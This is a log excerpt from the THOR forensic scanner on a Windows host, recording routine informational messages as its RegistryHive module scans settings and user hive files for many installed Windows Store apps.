Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG2
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.RawImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.RawImageExtension_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.SecHealthUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Todos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Todos_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG2
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\SystemAppData\Helium\User.dat
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1
Sep 10 12:23:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\Admin\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat
